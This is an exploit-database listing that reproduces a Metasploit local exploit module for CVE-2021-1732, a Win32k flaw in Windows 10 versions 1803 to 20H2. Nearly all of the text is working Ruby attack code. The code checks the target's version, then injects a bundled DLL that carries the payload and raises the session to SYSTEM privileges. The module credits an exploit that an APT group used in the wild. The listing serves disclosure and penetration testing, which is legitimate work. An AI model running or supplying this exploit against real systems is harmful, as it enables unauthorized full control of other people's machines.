Search...

Win32k ConsoleControl Offset Confusion

2021-03-19T00:00:00
ID PACKETSTORM:161880
Type packetstorm
Reporter Spencer McIntyre
Modified 2021-03-19T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = GoodRanking  
  
include Msf::Post::File  
include Msf::Post::Windows::Priv  
include Msf::Post::Windows::Process  
include Msf::Post::Windows::ReflectiveDLLInjection  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
{  
'Name' => 'Win32k ConsoleControl Offset Confusion',  
'Description' => %q{  
A vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of  
NT AUTHORITY\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being  
treated as an offset despite being populated by an attacker-controlled value. This can be leveraged to  
achieve an out of bounds write operation, eventually leading to privilege escalation.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'BITTER APT', # exploit as used in the wild  
'JinQuan', # detailed analysis  
'MaDongZe', # detailed analysis  
'TuXiaoYi', # detailed analysis  
'LiHao', # detailed analysis  
'KaLendsi', # github poc targeting v1909  
'Spencer McIntyre' # metasploit module  
],  
'Arch' => [ ARCH_X64 ],  
'Platform' => 'win',  
'SessionTypes' => [ 'meterpreter' ],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread'  
},  
'Targets' =>  
[  
[ 'Windows 10 v1803-20H2 x64', { 'Arch' => ARCH_X64 } ]  
],  
'Payload' =>  
{  
'DisableNops' => true  
},  
'References' =>  
[  
[ 'CVE', '2021-1732' ],  
[ 'URL', 'https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/' ],  
[ 'URL', 'https://github.com/KaLendsi/CVE-2021-1732-Exploit' ],  
[ 'URL', 'https://attackerkb.com/assessments/1a332300-7ded-419b-b717-9bf03ca2a14e' ],  
[ 'URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732' ],  
# the rest are not cve-2021-1732 specific but are on topic regarding the techniques used within the exploit  
[ 'URL', 'https://www.fuzzysecurity.com/tutorials/expDev/22.html' ],  
[ 'URL', 'https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/index.htm' ],  
[ 'URL', 'https://byteraptors.github.io/windows/exploitation/2020/06/03/exploitingcve2019-1458.html' ],  
[ 'URL', 'https://www.trendmicro.com/en_us/research/16/l/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html' ]  
],  
'DisclosureDate' => '2021-02-10',  
'DefaultTarget' => 0,  
'Notes' =>  
{  
'Stability' => [ CRASH_OS_RESTARTS, ],  
'Reliability' => [ REPEATABLE_SESSION, ]  
}  
}  
)  
)  
end  
  
def check  
sysinfo_value = sysinfo['OS']  
  
if sysinfo_value !~ /windows/i  
# Non-Windows systems are definitely not affected.  
return Exploit::CheckCode::Safe  
end  
  
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i  
vprint_status("Windows Build Number = #{build_num}")  
# see https://docs.microsoft.com/en-us/windows/release-information/  
unless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 19042)  
print_error('The exploit only supports Windows 10 versions 1803 - 20H2')  
return CheckCode::Safe  
end  
  
CheckCode::Appears  
end  
  
def exploit  
if is_system?  
fail_with(Failure::None, 'Session is already elevated')  
end  
  
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86  
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')  
elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86  
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')  
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64  
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')  
end  
  
encoded_payload = payload.encoded  
execute_dll(  
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-1732', 'CVE-2021-1732.x64.dll'),  
[encoded_payload.length].pack('I<') + encoded_payload  
)  
  
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')  
end  
end  
`
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by